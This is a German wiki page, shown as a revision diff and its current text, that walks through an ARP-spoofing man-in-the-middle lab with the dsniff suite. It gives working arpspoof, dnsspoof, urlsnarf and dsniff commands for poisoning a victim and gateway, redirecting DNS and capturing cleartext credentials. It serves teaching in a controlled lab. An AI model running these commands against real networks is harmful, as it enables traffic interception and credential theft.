Dsniff: Unterschied zwischen den Versionen
| Zeile 1: | Zeile 1: | ||
| + | dsniff ist eine Sammlung klassischer Netzwerk-Audit-Tools (Dug Song, ~2000). Produktiv relevant sind heute nur noch die Layer-2-Werkzeuge '''arpspoof''' und '''dnsspoof'''; die Sniffer (''dsniff'', ''urlsnarf'') dienen als Lehrstück für unverschlüsselte Protokolle. | ||
| − | + | Diese Übung zeigt das Kern-Primitiv: ARP-Spoofing als Mensch-in-der-Mitte zwischen Opfer und Gateway. Sie läuft im kontrollierten Lab '''verlässlich''', weil dort weder Dynamic ARP Inspection noch Port-Security aktiv ist. | |
| − | |||
| − | |||
| − | ''' | ||
| − | = | + | == Lab-Aufbau == |
| − | |||
| − | |||
| − | ''' | + | Drei Hosts im selben Segment (VirtualBox ''Internes Netzwerk'' oder ''Bridged''). |
| − | + | ;Gateway / Router | |
| − | * | + | *10.0.10.1 |
| − | + | ;Angreifer (Kali) | |
| − | + | *10.0.10.101 | |
| − | + | ;Opfer (Debian / Windows) | |
| − | + | *10.0.10.102 | |
| − | == | + | Interface im Folgenden als <code>eth0</code> – ggf. an die eigene VM anpassen (<code>ip a</code>). |
| − | + | ||
| − | + | == Schritt 1: IP-Forwarding aktivieren == | |
| − | + | ||
| − | + | ;Ohne Forwarding wird der Opfer-Traffic verworfen (Blackhole) – das Opfer verliert sofort die Verbindung und merkt den Angriff. Forwarding leitet die Pakete transparent weiter: | |
| − | + | *<code>sysctl -w net.ipv4.ip_forward=1</code> | |
| − | + | ||
| + | Kontrolle: | ||
| + | <pre> | ||
| + | sysctl net.ipv4.ip_forward | ||
| + | net.ipv4.ip_forward = 1 | ||
| + | </pre> | ||
| + | |||
| + | == Schritt 2: arpspoof starten == | ||
| + | |||
| + | Beide Richtungen müssen vergiftet werden: dem Opfer wird vorgegaukelt, der Angreifer sei das Gateway – und dem Gateway, der Angreifer sei das Opfer. Zwei Terminals, je ein Prozess: | ||
| + | |||
| + | ;Terminal 1 – Opfer vergiften (Angreifer = Gateway): | ||
| + | *<code>arpspoof -i eth0 -t 10.0.10.102 10.0.10.1</code> | ||
| + | ;Terminal 2 – Gateway vergiften (Angreifer = Opfer): | ||
| + | *<code>arpspoof -i eth0 -t 10.0.10.1 10.0.10.102</code> | ||
| + | |||
| + | Alternativ als Einzeiler mit <code>-r</code> (bidirektional): | ||
| + | *<code>arpspoof -i eth0 -t 10.0.10.102 -r 10.0.10.1</code> | ||
| + | |||
| + | == Schritt 3: MITM verifizieren == | ||
| + | |||
| + | ;Am Opfer die ARP-Tabelle prüfen – die MAC des Gateways muss jetzt die MAC des Angreifers sein: | ||
| + | *<code>arp -a</code> (Linux) bzw. <code>arp -a</code> (Windows) | ||
| + | |||
| + | ;Am Angreifer mitschneiden – der gesamte Opfer-Traffic läuft nun durch: | ||
| + | *<code>tcpdump -i eth0 -n host 10.0.10.102</code> | ||
| + | |||
| + | oder grafisch mit Wireshark, Display-Filter: | ||
| + | <pre> | ||
| + | ip.addr == 10.0.10.102 | ||
| + | </pre> | ||
| + | |||
| + | == Schritt 4 (Erweiterung): dnsspoof == | ||
| + | |||
| + | Aus der MITM-Position lassen sich DNS-Antworten fälschen. Hosts-Datei für die zu spoofenden Namen anlegen: | ||
| + | |||
| + | <pre> | ||
| + | # /root/dnsspoof.hosts | ||
| + | 10.0.10.101 www.beispiel.int | ||
| + | </pre> | ||
| + | |||
| + | ;dnsspoof gegen die Anfragen des Opfers starten: | ||
| + | *<code>dnsspoof -i eth0 -f /root/dnsspoof.hosts</code> | ||
| + | |||
| + | Auflösungen des Opfers auf <code>www.beispiel.int</code> zeigen jetzt auf den Angreifer. | ||
| + | |||
| + | == Schritt 5 (Pointe): Cleartext-Sniffer == | ||
| + | |||
| + | Gegen einen '''absichtlich unverschlüsselten''' Dienst im Lab (HTTP-Login ohne TLS, FTP, Telnet) – nicht als heutige Methode, sondern als Beweis, warum Cleartext gefährlich ist: | ||
| + | |||
| + | ;HTTP-Requests des Opfers mitlesen: | ||
| + | *<code>urlsnarf -i eth0</code> | ||
| + | ;Klartext-Credentials extrahieren: | ||
| + | *<code>dsniff -i eth0</code> | ||
| + | |||
| + | Das Opfer meldet sich am unverschlüsselten Dienst an → die Zugangsdaten erscheinen im Klartext beim Angreifer. Das ist die didaktische Auszahlung: '''deshalb TLS'''. | ||
| + | |||
| + | == Aufräumen == | ||
| + | |||
| + | ;arpspoof mit Strg-C '''sauber''' beenden – es sendet dann korrigierende ARP-Replies und stellt den Originalzustand wieder her: | ||
| + | *<code>Strg-C</code> | ||
| + | |||
| + | Nicht hart killen (<code>kill -9</code>), sonst bleibt das Opfer mit falscher ARP-Tabelle zurück und verliert kurzzeitig die Verbindung. | ||
| + | |||
| + | ;IP-Forwarding zurücksetzen: | ||
| + | *<code>sysctl -w net.ipv4.ip_forward=0</code> | ||
| + | |||
| + | == Bewusst nicht Teil dieser Übung == | ||
| + | |||
| + | Diese Tools funktionieren im Lab '''nicht zuverlässig''' und sind daher ausgeklammert: | ||
| + | |||
| + | ;macof (CAM-Table-Flooding) | ||
| + | *Effekt hängt vom Switch ab. Virtuelle Switches und moderne Hardware-Switches gehen nicht ''fail-open'' → kein reproduzierbarer Mitschnitt. Nur als Konzept erwähnen. | ||
| + | ;Echte Switches mit Dynamic ARP Inspection (DAI) | ||
| + | *blocken arpspoof komplett. Deshalb läuft die Übung im kontrollierten Segment ohne DAI/Port-Security. | ||
| + | ;sshmitm / webmitm | ||
| + | *aktive MITM gegen SSH/HTTPS über schwache ad-hoc-PKI. Scheitern an Host-Key-Checking, HSTS und Cert-Pinning. Nur als historische Fußnote. | ||
| + | |||
| + | == Einordnung == | ||
| + | |||
| + | arpspoof, dnsspoof und macof sind '''übertragbare Primitive''' – sie tauchen in jedem MITM-Werkzeug (Ettercap, Bettercap) wieder auf. Die Sniffer der dsniff-Suite sind '''Lehrstück''', kein Produktiv-Tooling. Wer das Primitiv hier isoliert verstanden hat, durchschaut die All-in-one-Tools danach sofort. | ||
Aktuelle Version vom 24. Juni 2026, 03:19 Uhr
dsniff ist eine Sammlung klassischer Netzwerk-Audit-Tools (Dug Song, ~2000). Produktiv relevant sind heute nur noch die Layer-2-Werkzeuge arpspoof und dnsspoof; die Sniffer (dsniff, urlsnarf) dienen als Lehrstück für unverschlüsselte Protokolle.
Diese Übung zeigt das Kern-Primitiv: ARP-Spoofing als Mensch-in-der-Mitte zwischen Opfer und Gateway. Sie läuft im kontrollierten Lab verlässlich, weil dort weder Dynamic ARP Inspection noch Port-Security aktiv ist.
Lab-Aufbau
Drei Hosts im selben Segment (VirtualBox Internes Netzwerk oder Bridged).
- Gateway / Router
- 10.0.10.1
- Angreifer (Kali)
- 10.0.10.101
- Opfer (Debian / Windows)
- 10.0.10.102
Interface im Folgenden als eth0 – ggf. an die eigene VM anpassen (ip a).
Schritt 1: IP-Forwarding aktivieren
- Ohne Forwarding wird der Opfer-Traffic verworfen (Blackhole) – das Opfer verliert sofort die Verbindung und merkt den Angriff. Forwarding leitet die Pakete transparent weiter
sysctl -w net.ipv4.ip_forward=1
Kontrolle:
sysctl net.ipv4.ip_forward net.ipv4.ip_forward = 1
Schritt 2: arpspoof starten
Beide Richtungen müssen vergiftet werden: dem Opfer wird vorgegaukelt, der Angreifer sei das Gateway – und dem Gateway, der Angreifer sei das Opfer. Zwei Terminals, je ein Prozess:
- Terminal 1 – Opfer vergiften (Angreifer = Gateway)
arpspoof -i eth0 -t 10.0.10.102 10.0.10.1
- Terminal 2 – Gateway vergiften (Angreifer = Opfer)
arpspoof -i eth0 -t 10.0.10.1 10.0.10.102
Alternativ als Einzeiler mit -r (bidirektional):
arpspoof -i eth0 -t 10.0.10.102 -r 10.0.10.1
Schritt 3: MITM verifizieren
- Am Opfer die ARP-Tabelle prüfen – die MAC des Gateways muss jetzt die MAC des Angreifers sein
arp -a(Linux) bzw.arp -a(Windows)
- Am Angreifer mitschneiden – der gesamte Opfer-Traffic läuft nun durch
tcpdump -i eth0 -n host 10.0.10.102
oder grafisch mit Wireshark, Display-Filter:
ip.addr == 10.0.10.102
Schritt 4 (Erweiterung): dnsspoof
Aus der MITM-Position lassen sich DNS-Antworten fälschen. Hosts-Datei für die zu spoofenden Namen anlegen:
# /root/dnsspoof.hosts 10.0.10.101 www.beispiel.int
- dnsspoof gegen die Anfragen des Opfers starten
dnsspoof -i eth0 -f /root/dnsspoof.hosts
Auflösungen des Opfers auf www.beispiel.int zeigen jetzt auf den Angreifer.
Schritt 5 (Pointe): Cleartext-Sniffer
Gegen einen absichtlich unverschlüsselten Dienst im Lab (HTTP-Login ohne TLS, FTP, Telnet) – nicht als heutige Methode, sondern als Beweis, warum Cleartext gefährlich ist:
- HTTP-Requests des Opfers mitlesen
urlsnarf -i eth0
- Klartext-Credentials extrahieren
dsniff -i eth0
Das Opfer meldet sich am unverschlüsselten Dienst an → die Zugangsdaten erscheinen im Klartext beim Angreifer. Das ist die didaktische Auszahlung: deshalb TLS.
Aufräumen
- arpspoof mit Strg-C sauber beenden – es sendet dann korrigierende ARP-Replies und stellt den Originalzustand wieder her
Strg-C
Nicht hart killen (kill -9), sonst bleibt das Opfer mit falscher ARP-Tabelle zurück und verliert kurzzeitig die Verbindung.
- IP-Forwarding zurücksetzen
sysctl -w net.ipv4.ip_forward=0
Bewusst nicht Teil dieser Übung
Diese Tools funktionieren im Lab nicht zuverlässig und sind daher ausgeklammert:
- macof (CAM-Table-Flooding)
- Effekt hängt vom Switch ab. Virtuelle Switches und moderne Hardware-Switches gehen nicht fail-open → kein reproduzierbarer Mitschnitt. Nur als Konzept erwähnen.
- Echte Switches mit Dynamic ARP Inspection (DAI)
- blocken arpspoof komplett. Deshalb läuft die Übung im kontrollierten Segment ohne DAI/Port-Security.
- sshmitm / webmitm
- aktive MITM gegen SSH/HTTPS über schwache ad-hoc-PKI. Scheitern an Host-Key-Checking, HSTS und Cert-Pinning. Nur als historische Fußnote.
Einordnung
arpspoof, dnsspoof und macof sind übertragbare Primitive – sie tauchen in jedem MITM-Werkzeug (Ettercap, Bettercap) wieder auf. Die Sniffer der dsniff-Suite sind Lehrstück, kein Produktiv-Tooling. Wer das Primitiv hier isoliert verstanden hat, durchschaut die All-in-one-Tools danach sofort.